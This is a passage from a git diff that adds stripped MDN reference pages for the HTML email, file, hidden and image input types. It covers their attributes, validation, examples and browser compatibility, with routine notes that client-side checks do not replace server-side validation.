The input value is automatically validated to ensure that it's either empty or a properly-formatted email address (or list of addresses) before the form can be submitted. The :valid and :invalid CSS pseudo-classes are automatically applied as appropriate to visually denote whether the current value of the field is a valid email address or not.

+
+

Value

+
+

The <input> element's value attribute contains a string which is automatically validated as conforming to email syntax. More specifically, there are three possible value formats that will pass validation:

  1. An empty string ("") indicating that the user did not enter a value or that the value was removed.
  2. A single properly-formed email address. This doesn't necessarily mean the email address exists, but it is at least formatted correctly. In simple terms, this means username@domain or username@domain.tld. There's more to it than that, of course; see Validation for a regular expression that matches the email address validation algorithm.
  3. If and only if the multiple attribute is specified, the value can be a list of properly-formed comma-separated email addresses. Any trailing and leading whitespace is removed from each address in the list.

See Validation for details on how email addresses are validated to ensure that they're formatted properly.

+
+

Additional attributes

+

In addition to the attributes that operate on all <input> elements regardless of their type, email inputs support the following attributes.

+

list

+

The values of the list attribute is the id of a <datalist> element located in the same document. The <datalist> provides a list of predefined values to suggest to the user for this input. Any values in the list that are not compatible with the type are not included in the suggested options. The values provided are suggestions, not requirements: users can select from this predefined list or provide a different value.

+

maxlength

+
+

The maximum string length (measured in UTF-16 code units) that the user can enter into the email input. This must be an integer value of 0 or higher. If no maxlength is specified, or an invalid value is specified, the email input has no maximum length. This value must also be greater than or equal to the value of minlength.

The input will fail constraint validation if the length of the text value of the field is greater than maxlength UTF-16 code units long. Constraint validation is only applied when the value is changed by the user.

+
+

minlength

+
+

The minimum string length (measured in UTF-16 code units) that the user can enter into the email input. This must be a non-negative integer value smaller than or equal to the value specified by maxlength. If no minlength is specified, or an invalid value is specified, the email input has no minimum length.

The input will fail constraint validation if the length of the text entered into the field is fewer than minlength UTF-16 code units long. Constraint validation is only applied when the value is changed by the user.

+
+

multiple

+
+

A Boolean attribute which, if present, indicates that the user can enter a list of multiple email addresses, separated by commas and, optionally, whitespace characters. See Allowing multiple email addresses for an example, or HTML attribute: multiple for more details.

Note: Normally, if you specify the required attribute, the user must enter a valid email address for the field to be considered valid. However, if you add the multiple attribute, a list of zero email addresses (an empty string, or one which is entirely whitespace) is a valid value. In other words, the user does not have to enter even one email address when multiple is specified, regardless of the value of required.

+
+

pattern

+
+

The pattern attribute, when specified, is a regular expression that the input's value must match for the value to pass constraint validation. It must be a valid JavaScript regular expression, as used by the RegExp type, and as documented in our guide on regular expressions; the 'u' flag is specified when compiling the regular expression so that the pattern is treated as a sequence of Unicode code points, instead of as ASCII. No forward slashes should be specified around the pattern text.

If the specified pattern is not specified or is invalid, no regular expression is applied and this attribute is ignored completely.

Note: Use the title attribute to specify text that most browsers will display as a tooltip to explain what the requirements are to match the pattern. You should also include other explanatory text nearby.

See the section Pattern validation for details and an example.

+
+

placeholder

+
+

The placeholder attribute is a string that provides a brief hint to the user as to what kind of information is expected in the field. It should be a word or short phrase that demonstrates the expected type of data, rather than an explanatory message. The text must not include carriage returns or line feeds.

If the control's content has one directionality (LTR or RTL) but needs to present the placeholder in the opposite directionality, you can use Unicode bidirectional algorithm formatting characters to override directionality within the placeholder; see How to use Unicode controls for bidi text for more information.

Note: Avoid using the placeholder attribute if you can. It is not as semantically useful as other ways to explain your form, and can cause unexpected technical issues with your content. See <input> labels for more information.

+
+

readonly

+
+

A Boolean attribute which, if present, means this field cannot be edited by the user. Its value can, however, still be changed by JavaScript code directly setting the HTMLInputElement value property.

Note: Because a read-only field cannot have a value, required does not have any effect on inputs with the readonly attribute also specified.

+
+

size

+
+

The size attribute is a numeric value indicating how many characters wide the input field should be. The value must be a number greater than zero, and the default value is 20. Since character widths vary, this may or may not be exact and should not be relied upon to be so; the resulting input may be narrower or wider than the specified number of characters, depending on the characters and the font (font settings in use).

This does not set a limit on how many characters the user can enter into the field. It only specifies approximately how many can be seen at a time. To set an upper limit on the length of the input data, use the maxlength attribute.

+
+

Using email inputs

+
+

Email addresses are among the most frequently-inputted textual data forms on the web; they're used when logging into websites, when requesting information, to allow order confirmation, for webmail, and so forth. As such, the email input type can make your job as a web developer much easier since it can help simplify your work when building the user interface and logic for email addresses. When you create an email input with the proper type value, email, you get automatic validation that the entered text is at least in the correct form to potentially be a legitimate email address. This can help avoid cases in which the user mistypes their address, or provides an invalid address.

It's important, however, to note that this is not enough to ensure that the specified text is an email address which actually exists, corresponds to the user of the site, or is acceptable in any other way. It ensures that the value of the field is properly formatted to be an email address.

Note: It's also crucial to remember that a user can tinker with your HTML behind the scenes, so your site must not use this validation for any security purposes. You must verify the email address on the server side of any transaction in which the provided text may have any security implications of any kind.

+
+

A simple email input

+
+

Currently, all browsers which implement this element implement it as a standard text input field with basic validation features. The specification does, however, allow browsers latitude on this. For example, the element could be integrated with the user's device's built-in address book to allow picking email addresses from that list. In its most basic form, an email input can be implemented like this:

+

html

+
<input id="emailAddress" type="email" />
+
+
+
+ + +

Notice that it's considered valid when empty and when a single validly-formatted email address is entered, but is otherwise not considered valid. By adding the required attribute, only validly-formed email addresses are allowed; the input is no longer considered valid when empty.

+
+

Allowing multiple email addresses

+
+

By adding the multiple Boolean attribute, the input can be configured to accept multiple email addresses.

+

html

+
<input id="emailAddress" type="email" multiple />
+
+
+
+ + +

The input is now considered valid when a single email address is entered, or when any number of email addresses separated by commas and, optionally, some number of whitespace characters are present.

Note: When multiple is used, the value is allowed to be empty.

Some examples of valid strings when multiple is specified:

Some examples of invalid strings:

+
+

Placeholders

+
+

Sometimes it's helpful to offer an in-context hint as to what form the input data should take. This can be especially important if the page design doesn't offer descriptive labels for each <input>. This is where placeholders come in. A placeholder is a value that demonstrates the form the value should take by presenting an example of a valid value, which is displayed inside the edit box when the element's value is "". Once data is entered into the box, the placeholder disappears; if the box is emptied, the placeholder reappears.

Here, we have an email input with the placeholder sophie@example.com. Note how the placeholder disappears and reappears as you manipulate the contents of the edit field.

+

html

+
<input type="email" placeholder="sophie@example.com" />
+
+
+
+ + +
+
+

Controlling the input size

+
+

You can control not only the physical length of the input box, but also the minimum and maximum lengths allowed for the input text itself.

Physical input element size

The physical size of the input box can be controlled using the size attribute. With it, you can specify the number of characters the input box can display at a time. In this example the email edit box is 15 characters wide:

+

html

+
<input type="email" size="15" />
+
+
+
+ + +

Element value length

The size is separate from the length limitation on the entered email address itself so that you can have fields fit in a small space while still allowing longer email address strings to be entered. You can specify a minimum length, in characters, for the entered email address using the minlength attribute; similarly, use maxlength to set the maximum length of the entered email address.

The example below creates a 32 character-wide email address entry box, requiring that the contents be no shorter than 3 characters and no longer than 64 characters.

+

html

+
<input type="email" size="32" minlength="3" maxlength="64" />
+
+
+
+ + +
+
+

Providing default options

+
+

Providing a single default using the value attribute

As always, you can provide a default value for an email input box by setting its value attribute:

+

html

+
<input type="email" value="default@example.com" />
+
+
+
+ + +

Offering suggested values

Taking it a step further, you can provide a list of default options from which the user can select by specifying the list attribute. This doesn't limit the user to those options, but does allow them to select commonly-used email addresses more quickly. This also offers hints to autocomplete. The list attribute specifies the ID of a <datalist>, which in turn contains one <option> element per suggested value; each option's value is the corresponding suggested value for the email entry box.

+

html

+
<input type="email" size="40" list="defaultEmails" />
+
+<datalist id="defaultEmails">
+  <option value="jbond007@mi6.defence.gov.uk"></option>
+  <option value="jbourne@unknown.net"></option>
+  <option value="nfury@shield.org"></option>
+  <option value="tony@starkindustries.com"></option>
+  <option value="hulk@grrrrrrrr.arg"></option>
+</datalist>
+
+
+
+ + +

With the <datalist> element and its <option>s in place, the browser will offer the specified values as potential values for the email address; this is typically presented as a popup or drop-down menu containing the suggestions. While the specific user experience may vary from one browser to another, typically clicking in the edit box presents a drop-down of the suggested email addresses. Then, as the user types, the list is filtered to show only matching values. Each typed character narrows down the list until the user makes a selection or types a custom value.

+
+

Validation

+
+

There are two levels of content validation available for email inputs. First, there's the standard level of validation offered to all <input>s, which automatically ensures that the contents meet the requirements to be a valid email address. But there's also the option to add additional filtering to ensure that your own specialized needs are met, if you have any.

Warning: HTML form validation is not a substitute for scripts that ensure that the entered data is in the proper format.It's far too easy for someone to make adjustments to the HTML that allow them to bypass the validation, or to remove it completely. It's also possible for someone to bypass your HTML entirely and submit the data directly to your server. If your server-side code fails to validate the data it receives, disaster could strike when improperly-formatted data (or data which is too large, is of the wrong type, and so forth) is entered into your database.

+
+

Basic validation

+
+

Browsers automatically provide validation to ensure that only text that matches the standard format for Internet email addresses is entered into the input box. Browsers use an algorithm equivalent to the following regular expression:

+

js

+
/^[a-zA-Z0-9.!#$%&'*+/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/;
+
+

To learn more about how form validation works and how to take advantage of the :valid and :invalid CSS properties to style the input based on whether the current value is valid, see Form data validation.

Note: There are known specification issues related to international domain names and the validation of email addresses in HTML. See W3C bug 15489 for details.

+
+

Pattern validation

+
+

If you need the entered email address to be restricted further than just "any string that looks like an email address," you can use the pattern attribute to specify a regular expression the value must match for it to be valid. If the multiple attribute is specified, each individual item in the comma-delineated list of values must match the regular expression.

For example, let's say you're building a page for employees of Best Startup Ever, Inc. which will let them contact their IT department for help. In our simplified form, the user needs to enter their email address and a message describing the problem they need help with. We want to ensure that not only does the user provide a valid email address, but for security purposes, we require that the address be an internal corporate email address.

Since inputs of type email validate against both the standard email address validation and the specified pattern, you can implement this easily. Let's see how:

+

html

+
<form>
+  <div class="emailBox">
+    <label for="emailAddress">Your email address</label><br />
+    <input
+      id="emailAddress"
+      type="email"
+      size="64"
+      maxlength="64"
+      required
+      placeholder="username@beststartupever.com"
+      pattern=".+@beststartupever\.com"
+      title="Please provide only a Best Startup Ever corporate email address" />
+  </div>
+
+  <div class="messageBox">
+    <label for="message">Request</label><br />
+    <textarea
+      id="message"
+      cols="80"
+      rows="8"
+      required
+      placeholder="My shoes are too tight, and I have forgotten how to dance."></textarea>
+  </div>
+  <input type="submit" value="Send Request" />
+</form>
+
+
+
+ + +

Our <form> contains one <input> of type email for the user's email address, a <textarea> to enter their message for IT into, and an <input> of type "submit", which creates a button to submit the form. Each text entry box has a <label> associated with it to let the user know what's expected of them.

Let's take a closer look at the email address entry box. Its size and maxlength attributes are both set to 64 in order to show room for 64 characters worth of email address, and to limit the number of characters actually entered to a maximum of 64. The required attribute is specified, making it mandatory that a valid email address be provided.

An appropriate placeholder is provided—username@beststartupever.com—to demonstrate what constitutes a valid entry. This string demonstrates both that an email address should be entered, and suggests that it should be a corporate beststartupever.com account. This is in addition to the fact that using type email will validate the text to ensure that it's formatted like an email address. If the text in the input box isn't an email address, you'll get an error message that looks something like this:

Invalid email address in error state with a popout from the input reading 'please enter an email address'.

If we left things at that, we would at least be validating on legitimate email addresses. But we want to go one step farther: we want to make sure that the email address is in fact in the form "_username_@beststartupever.com". This is where we'll use pattern. We set pattern to .+@beststartupever.com. This simple regular expression requests a string that consists of at least one character of any kind, then an "@" followed by the domain name "beststartupever.com".

Note that this is not even close to an adequate filter for valid email addresses; it would allow things such as " @beststartupever.com" (note the leading space) or "@@beststartupever.com", neither of which is valid. However, the browser runs both the standard email address filter and our custom pattern against the specified text. As a result, we wind up with a validation which says "make sure this resembles a valid email address, and if it is, make sure it's also a beststartupever.com address."

It's advisable to use the title attribute along with pattern. If you do, the title must describe the pattern. That is, it should explain what format the data should take on, rather than any other information. That's because the title may be displayed or spoken as part of a validation error message. For example, the browser might present the message "The entered text doesn't match the required pattern." followed by your specified title. If your title is something like "Email address", the result would be the message "The entered text doesn't match the required pattern. Email address", which isn't very good.

That's why, instead, we specify the string "Please provide only a Best Startup Ever corporate email address" By doing that, the resulting full error message might be something like "The entered text doesn't match the required pattern. Please provide only a Best Startup Ever corporate email address."

A valid email address, but the input is in error state with a popout from the input reading 'The entered text doesn't match the required pattern. Please provide only a Best Startup Ever corporate email address.'

Note: If you run into trouble while writing your validation regular expressions and they're not working properly, check your browser's console; there may be helpful error messages there to aid you in solving the problem.

+
+

Examples

+
+

Here we have an email input with the ID emailAddress which is allowed to be up to a maximum of 256 characters long. The input box itself is physically 64 characters wide, and displays the text user@example.gov as a placeholder anytime the field is empty. In addition, by using the multiple attribute, the box is configured to allow the user to enter zero or more email addresses, separated by commas, as described in Allowing multiple email addresses. As a final touch, the list attribute contains the ID of a <datalist> whose <option>s specify a set of suggested values the user can choose from.

As an added touch, the <label> element is used to establish a label for the email entry box, with its for attribute referencing the emailAddress ID of the <input> element. By associating the two elements in this way, clicking on the label will focus the input element.

+

html

+
<label for="emailAddress">Email</label><br />
+<input
+  id="emailAddress"
+  type="email"
+  placeholder="user@example.gov"
+  list="defaultEmails"
+  size="64"
+  maxlength="256"
+  multiple />
+
+<datalist id="defaultEmails">
+  <option value="jbond007@mi6.defence.gov.uk"></option>
+  <option value="jbourne@unknown.net"></option>
+  <option value="nfury@shield.org"></option>
+  <option value="tony@starkindustries.com"></option>
+  <option value="hulk@grrrrrrrr.arg"></option>
+</datalist>
+
+
+
+ + +
+
+

Technical summary

+
Value A string representing an email address, or empty
Events change and input
Supported Common Attributes autocomplete, list, maxlength, minlength, multiple, name, pattern, placeholder, readonly, required, size, and type
IDL attributes +list and value +
DOM interface

HTMLInputElement
Methods select()
Implicit ARIA Role with no list attribute: textbox
with list attribute: combobox
+

Specifications

+
+ + +
Specification
HTML Standard
# email-state-(type=email)
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
email5121101154.418411
3["Doesn't do validation, but instead offers a custom 'email' keyboard, which is designed to make entering email addresses easier.", "The custom 'email' keyboard does not provide a comma key, so users cannot enter multiple email addresses.", "Automatically applies a default style of opacity: 0.4 to disable textual <input> elements, including those of type 'email'. Other major browsers don't currently share this particular default style."]
1.0
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Element/input/email +

+
diff --git a/devdocs/html/element%2Finput%2Ffile.html b/devdocs/html/element%2Finput%2Ffile.html new file mode 100644 index 00000000..ba32c278 --- /dev/null +++ b/devdocs/html/element%2Finput%2Ffile.html @@ -0,0 +1,271 @@ +

<input type="file">

<input> elements with type="file" let the user choose one or more files from their device storage. Once chosen, the files can be uploaded to a server using form submission, or manipulated using JavaScript code and the File API.

+

Try it

+
+

Value

+
+

A file input's value attribute contains a string that represents the path to the selected file(s). If no file is selected yet, the value is an empty string (""). When the user selected multiple files, the value represents the first file in the list of files they selected. The other files can be identified using the input's HTMLInputElement.files property.

Note: The value is always the file's name prefixed with C:\fakepath\, which isn't the real path of the file. This is to prevent malicious software from guessing the user's file structure.

+
+

Additional attributes

+

In addition to the common attributes shared by all <input> elements, inputs of type file also support the following attributes.

+

accept

+
+

The accept attribute value is a string that defines the file types the file input should accept. This string is a comma-separated list of unique file type specifiers. Because a given file type may be identified in more than one manner, it's useful to provide a thorough set of type specifiers when you need files of a given format.

For instance, there are a number of ways Microsoft Word files can be identified, so a site that accepts Word files might use an <input> like this:

+

html

+
<input
+  type="file"
+  id="docpicker"
+  accept=".doc,.docx,.xml,application/msword,application/vnd.openxmlformats-officedocument.wordprocessingml.document" />
+
+
+
+

capture

+
+

The capture attribute value is a string that specifies which camera to use for capture of image or video data, if the accept attribute indicates that the input should be of one of those types. A value of user indicates that the user-facing camera and/or microphone should be used. A value of environment specifies that the outward-facing camera and/or microphone should be used. If this attribute is missing, the user agent is free to decide on its own what to do. If the requested facing mode isn't available, the user agent may fall back to its preferred default mode.

Note: capture was previously a Boolean attribute which, if present, requested that the device's media capture device(s) such as camera or microphone be used instead of requesting a file input.

+
+

multiple

+

When the multiple Boolean attribute is specified, the file input allows the user to select more than one file.

+

Non-standard attributes

+

In addition to the attributes listed above, the following non-standard attributes are available on some browsers. You should try to avoid using them when possible, since doing so will limit the ability of your code to function in browsers that don't implement them.

+

webkitdirectory

+
+

The Boolean webkitdirectory attribute, if present, indicates that only directories should be available to be selected by the user in the file picker interface. See HTMLInputElement.webkitdirectory for additional details and examples.

Though originally implemented only for WebKit-based browsers, webkitdirectory is also usable in Microsoft Edge as well as Firefox 50 and later. However, even though it has relatively broad support, it is still not standard and should not be used unless you have no alternative.

+
+

Unique file type specifiers

+
+

A unique file type specifier is a string that describes a type of file that may be selected by the user in an <input> element of type file. Each unique file type specifier may take one of the following forms:

The accept attribute takes a string containing one or more of these unique file type specifiers as its value, separated by commas. For example, a file picker that needs content that can be presented as an image, including both standard image formats and PDF files, might look like this:

+

html

+
<input type="file" accept="image/*,.pdf" />
+
+
+
+

Using file inputs

+ +

A basic example

+
+
+

html

+
<form method="post" enctype="multipart/form-data">
+  <div>
+    <label for="file">Choose file to upload</label>
+    <input type="file" id="file" name="file" multiple />
+  </div>
+  <div>
+    <button>Submit</button>
+  </div>
+</form>
+
+

This produces the following output:

+
+ + +

Note: You can find this example on GitHub too — see the source code, and also see it running live.

Regardless of the user's device or operating system, the file input provides a button that opens up a file picker dialog that allows the user to choose a file.

Including the multiple attribute, as shown above, specifies that multiple files can be chosen at once. The user can choose multiple files from the file picker in any way that their chosen platform allows (e.g. by holding down Shift or Control and then clicking). If you only want the user to choose a single file per <input>, omit the multiple attribute.

+
+

Getting information on selected files

+
+

The selected files' are returned by the element's HTMLInputElement.files property, which is a FileList object containing a list of File objects. The FileList behaves like an array, so you can check its length property to get the number of selected files.

Each File object contains the following information:

name

The file's name.

lastModified

A number specifying the date and time at which the file was last modified, in milliseconds since the UNIX epoch (January 1, 1970 at midnight).

+lastModifiedDate +

A Date object representing the date and time at which the file was last modified. This is deprecated and should not be used. Use lastModified instead.

size

The size of the file in bytes.

type

The file's MIME type.

+webkitRelativePath +

A string specifying the file's path relative to the base directory selected in a directory picker (that is, a file picker in which the webkitdirectory attribute is set). This is non-standard and should be used with caution.

Note: You can set as well as get the value of HTMLInputElement.files in all modern browsers; this was most recently added to Firefox, in version 57 (see Firefox bug 1384030).

+
+

Limiting accepted file types

+
+

Often you won't want the user to be able to pick any arbitrary type of file; instead, you often want them to select files of a specific type or types. For example, if your file input lets users upload a profile picture, you probably want them to select web-compatible image formats, such as JPEG or PNG.

Acceptable file types can be specified with the accept attribute, which takes a comma-separated list of allowed file extensions or MIME types. Some examples:

Let's look at a more complete example:

+

html

+
<form method="post" enctype="multipart/form-data">
+  <div>
+    <label for="profile_pic">Choose file to upload</label>
+    <input
+      type="file"
+      id="profile_pic"
+      name="profile_pic"
+      accept=".jpg, .jpeg, .png" />
+  </div>
+  <div>
+    <button>Submit</button>
+  </div>
+</form>
+
+

This produces a similar-looking output to the previous example:

+
+ + +

Note: You can find this example on GitHub too — see the source code, and also see it running live.

It may look similar, but if you try selecting a file with this input, you'll see that the file picker only lets you select the file types specified in the accept value (the exact interface differs across browsers and operating systems).

The accept attribute doesn't validate the types of the selected files; it provides hints for browsers to guide users towards selecting the correct file types. It is still possible (in most cases) for users to toggle an option in the file chooser that makes it possible to override this and select any file they wish, and then choose incorrect file types.

Because of this, you should make sure that the accept attribute is backed up by appropriate server-side validation.

+
+

Notes

+
  1. You cannot set the value of a file picker from a script — doing something like the following has no effect:
    +

    js

    +
    const input = document.querySelector("input[type=file]");
+input.value = "foo";
+
    +
  2. When a file is chosen using an <input type="file">, the real path to the source file is not shown in the input's value attribute for obvious security reasons. Instead, the filename is shown, with C:\fakepath\ prepended to it. There are some historical reasons for this quirk, but it is supported across all modern browsers, and in fact is defined in the spec.
+

Examples

+
+

In this example, we'll present a slightly more advanced file chooser that takes advantage of the file information available in the HTMLInputElement.files property, as well as showing off a few clever tricks.

Note: You can see the complete source code for this example on GitHub — file-example.html (see it live also). We won't explain the CSS; the JavaScript is the main focus.

First of all, let's look at the HTML:

+

html

+
<form method="post" enctype="multipart/form-data">
+  <div>
+    <label for="image_uploads">Choose images to upload (PNG, JPG)</label>
+    <input
+      type="file"
+      id="image_uploads"
+      name="image_uploads"
+      accept=".jpg, .jpeg, .png"
+      multiple />
+  </div>
+  <div class="preview">
+    <p>No files currently selected for upload</p>
+  </div>
+  <div>
+    <button>Submit</button>
+  </div>
+</form>
+
+

This is similar to what we've seen before — nothing special to comment on.

Next, let's walk through the JavaScript.

In the first lines of script, we get references to the form input itself, and the <div> element with the class of .preview. Next, we hide the <input> element — we do this because file inputs tend to be ugly, difficult to style, and inconsistent in their design across browsers. You can activate the input element by clicking its <label>, so it is better to visually hide the input and style the label like a button, so the user will know to interact with it if they want to upload files.

+

js

+
const input = document.querySelector("input");
+const preview = document.querySelector(".preview");
+
+input.style.opacity = 0;
+
+

Note: opacity is used to hide the file input instead of visibility: hidden or display: none, because assistive technology interprets the latter two styles to mean the file input isn't interactive.

Next, we add an event listener to the input to listen for changes to its selected value (in this case, when files are selected). The event listener invokes our custom updateImageDisplay() function.

+

js

+
input.addEventListener("change", updateImageDisplay);
+
+

Whenever the updateImageDisplay() function is invoked, we:

+

js

+
function updateImageDisplay() {
+  while (preview.firstChild) {
+    preview.removeChild(preview.firstChild);
+  }
+
+  const curFiles = input.files;
+  if (curFiles.length === 0) {
+    const para = document.createElement("p");
+    para.textContent = "No files currently selected for upload";
+    preview.appendChild(para);
+  } else {
+    const list = document.createElement("ol");
+    preview.appendChild(list);
+
+    for (const file of curFiles) {
+      const listItem = document.createElement("li");
+      const para = document.createElement("p");
+      if (validFileType(file)) {
+        para.textContent = `File name ${file.name}, file size ${returnFileSize(
+          file.size,
+        )}.`;
+        const image = document.createElement("img");
+        image.src = URL.createObjectURL(file);
+
+        listItem.appendChild(image);
+        listItem.appendChild(para);
+      } else {
+        para.textContent = `File name ${file.name}: Not a valid file type. Update your selection.`;
+        listItem.appendChild(para);
+      }
+
+      list.appendChild(listItem);
+    }
+  }
+}
+
+

The custom validFileType() function takes a File object as a parameter, then uses Array.prototype.includes() to check if any value in the fileTypes matches the file's type property. If a match is found, the function returns true. If no match is found, it returns false.

+

js

+
// https://developer.mozilla.org/en-US/docs/Web/Media/Formats/Image_types
+const fileTypes = [
+  "image/apng",
+  "image/bmp",
+  "image/gif",
+  "image/jpeg",
+  "image/pjpeg",
+  "image/png",
+  "image/svg+xml",
+  "image/tiff",
+  "image/webp",
+  "image/x-icon",
+];
+
+function validFileType(file) {
+  return fileTypes.includes(file.type);
+}
+
+

The returnFileSize() function takes a number (of bytes, taken from the current file's size property), and turns it into a nicely formatted size in bytes/KB/MB.

+

js

+
function returnFileSize(number) {
+  if (number < 1024) {
+    return `${number} bytes`;
+  } else if (number >= 1024 && number < 1048576) {
+    return `${(number / 1024).toFixed(1)} KB`;
+  } else if (number >= 1048576) {
+    return `${(number / 1048576).toFixed(1)} MB`;
+  }
+}
+
+

The example looks like this; have a play:

+
+ + +
+
+

Technical summary

+
Value A string representing the path to the selected file.
Events change and input
Supported common attributes required
Additional Attributes accept, capture, multiple
IDL attributes +files and value +
DOM interface

HTMLInputElement
Methods select()
Implicit ARIA Role no corresponding role
+

Specifications

+
+ + +
Specification
HTML Standard
# file-upload-state-(type=file)
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
file112
1You can set as well as get the value of HTMLInputElement.files in all modern browsers; this was most recently added to Firefox, in version 57 (see bug 1384030).
Yes1114.41841111.0
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Element/input/file +

+
diff --git a/devdocs/html/element%2Finput%2Fhidden.html b/devdocs/html/element%2Finput%2Fhidden.html new file mode 100644 index 00000000..d6a9ff20 --- /dev/null +++ b/devdocs/html/element%2Finput%2Fhidden.html @@ -0,0 +1,139 @@ +

<input type="hidden">

+

<input> elements of type hidden let web developers include data that cannot be seen or modified by users when a form is submitted. For example, the ID of the content that is currently being ordered or edited, or a unique security token. Hidden inputs are completely invisible in the rendered page, and there is no way to make it visible in the page's content.

Note: The input and change events do not apply to this input type. Hidden inputs cannot be focused even using JavaScript (e.g. hiddenInput.focus()).

+
+

Value

+
+

The <input> element's value attribute holds a string that contains the hidden data you want to include when the form is submitted to the server. This specifically can't be edited or seen by the user via the user interface, although you could edit the value via browser developer tools.

Warning: While the value isn't displayed to the user in the page's content, it is visible—and can be edited—using any browser's developer tools or "View Source" functionality. Do not rely on hidden inputs as a form of security.

+
+

Additional attributes

+

In addition to the attributes common to all <input> elements, hidden inputs offer the following attributes.

+

name

+

This is actually one of the common attributes, but it has a special meaning available for hidden inputs. Normally, the name attribute functions on hidden inputs just like on any other input. However, when the form is submitted, a hidden input whose name is set to _charset_ will automatically be reported with the value set to the character encoding used to submit the form.

+

Using hidden inputs

+

As mentioned above, hidden inputs can be used anywhere that you want to include data the user can't see or edit along with the form when it's submitted to the server. Let's look at some examples that illustrate its use.

+

Tracking edited content

+
+

One of the most common uses for hidden inputs is to keep track of what database record needs to be updated when an edit form is submitted. A typical workflow looks like this:

  1. User decides to edit some content they have control over, such as a blog post, or a product entry. They get started by pressing the edit button.
  2. The content to be edited is taken from the database and loaded into an HTML form to allow the user to make changes.
  3. After editing, the user submits the form, and the updated data is sent back to the server to be updated in the database.

The idea here is that during step 2, the ID of the record being updated is kept in a hidden input. When the form is submitted in step 3, the ID is automatically sent back to the server with the record content. The ID lets the site's server-side component know exactly which record needs to be updated with the submitted data.

You can see a full example of what this might look like in the Examples section below.

+
+

Improving website security

+
+

Hidden inputs are also used to store and submit security tokens or secrets, for the purposes of improving website security. The basic idea is that if a user is filling in a sensitive form, such as a form on their banking website to transfer some money to another account, the secret they would be provided with would prove that they are who they say they are, and that they are using the correct form to submit the transfer request.

This would stop a malicious user from creating a fake form, pretending to be a bank, and emailing the form to unsuspecting users to trick them into transferring money to the wrong place. This kind of attack is called a Cross Site Request Forgery (CSRF); pretty much any reputable server-side framework uses hidden secrets to prevent such attacks.

Note: Placing the secret in a hidden input doesn't inherently make it secure. The key's composition and encoding would do that. The value of the hidden input is that it keeps the secret associated with the data and automatically includes it when the form is sent to the server. You need to use well-designed secrets to actually secure your website.

+
+

Validation

+

Hidden inputs don't participate in constraint validation; they have no real value to be constrained.

+

Examples

+
+

Let's look at how we might implement a simple version of the edit form we described earlier (see Tracking edited content), using a hidden input to remember the ID of the record being edited.

The edit form's HTML might look a bit like this:

+

html

+
<form>
+  <div>
+    <label for="title">Post title:</label>
+    <input type="text" id="title" name="title" value="My excellent blog post" />
+  </div>
+  <div>
+    <label for="content">Post content:</label>
+    <textarea id="content" name="content" cols="60" rows="5">
+This is the content of my excellent blog post. I hope you enjoy it!
+    </textarea>
+  </div>
+  <div>
+    <button type="submit">Update post</button>
+  </div>
+  <input type="hidden" id="postId" name="postId" value="34657" />
+</form>
+
+

Let's also add some simple CSS:

+

css

+
html {
+  font-family: sans-serif;
+}
+
+form {
+  width: 500px;
+}
+
+div {
+  display: flex;
+  margin-bottom: 10px;
+}
+
+label {
+  flex: 2;
+  line-height: 2;
+  text-align: right;
+  padding-right: 20px;
+}
+
+input,
+textarea {
+  flex: 7;
+  font-family: sans-serif;
+  font-size: 1.1rem;
+  padding: 5px;
+}
+
+textarea {
+  height: 60px;
+}
+
+

The server would set the value of the hidden input with the ID "postID" to the ID of the post in its database before sending the form to the user's browser and would use that information when the form is returned to know which database record to update with modified information. No scripting is needed in the content to handle this.

The output looks like this:

+
+ + +

Note: You can also find the example on GitHub (see the source code, and also see it running live).

When submitted, the form data sent to the server will look something like this:

title=My+excellent+blog+post&content=This+is+the+content+of+my+excellent+blog+post.+I+hope+you+enjoy+it!&postId=34657

Even though the hidden input cannot be seen at all, its data is still submitted.

+
+

Technical summary

+
Value A string representing the value of the hidden data you want to pass back to the server.
Events None.
Supported Common Attributes autocomplete
IDL attributes value
DOM interface

HTMLInputElement
Methods None.
Implicit ARIA Role no corresponding role
+

Specifications

+
+ + +
Specification
HTML Standard
# hidden-state-(type=hidden)
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
hidden1121Yes214.41841411.0
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Element/input/hidden +

+
diff --git a/devdocs/html/element%2Finput%2Fimage.html b/devdocs/html/element%2Finput%2Fimage.html new file mode 100644 index 00000000..9e821837 --- /dev/null +++ b/devdocs/html/element%2Finput%2Fimage.html @@ -0,0 +1,229 @@ +

<input type="image">

<input> elements of type image are used to create graphical submit buttons, i.e. submit buttons that take the form of an image rather than text.

+

Try it

+
+

Value

+

<input type="image"> elements do not accept value attributes. The path to the image to be displayed is specified in the src attribute.

+

Additional attributes

+

In addition to the attributes shared by all <input> elements, image button inputs support the following attributes.

+

alt

+
+

The alt attribute provides an alternate string to use as the button's label if the image cannot be shown (due to error, a user agent that cannot or is configured not to show images, or if the user is using a screen reading device). If provided, it must be a non-empty string appropriate as a label for the button.

For example, if you have a graphical button that shows an image with an icon and/or image text "Login Now", you should also set the alt attribute to something like Login Now.

Note: While the alt attribute is technically optional, you should always include one to maximize the usability of your content.

Functionally, the alt attribute of the <input type="image"> element works just like the alt attribute on <img> elements.

+
+

formaction

+
+

A string indicating the URL to which to submit the data. This takes precedence over the action attribute on the <form> element that owns the <input>.

